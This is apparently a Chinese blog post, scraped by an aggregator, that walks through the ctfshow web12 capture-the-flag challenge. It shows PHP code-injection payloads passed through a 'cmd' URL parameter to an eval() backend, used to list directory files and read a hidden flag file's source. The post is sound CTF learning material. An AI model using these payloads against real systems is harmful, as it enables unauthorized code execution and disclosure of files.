zoukankan      html  css  js  c++  java
  • CTF web之旅 31

    ctfshow web12

    提示cmd  cmd不就是command的缩写吗  传入命令看一下

    传入?cmd=phpinfo();一定要有分号

    有回显页面的 推测后台函数可能为代码执行eval($_GET['cmd']);或者是命令执行system($_GET['cmd']);

    ?cmd='ls';没有回显

    ?cmd=print_r(glob("*.*"));或者是?cmd=print_r(scandir("."));可以匹配当前目录的所有文件

    由此可以推出后台函数为eval()

    执行查看目录文件后得到如下页面

     highlight_file()或者show_source()函数可以查看目标文件

    这俩是一样的函数 只是名称不一样?cmd=hight_file('index.php');可以确认一下后台源码

    ?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

    ?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

  • 相关阅读:
    webkit之滚动条美化
    意想不到的javascript
    html5 的存储
    javascript 中的number
    javascript 模板
    关于ajax的跨域
    一个菜鸟眼中的前端
    【转】python
    [转]修改python默认的编码方式
    搞科研
  • 原文地址:https://www.cnblogs.com/akger/p/14685654.html
Copyright © 2011-2022 走看看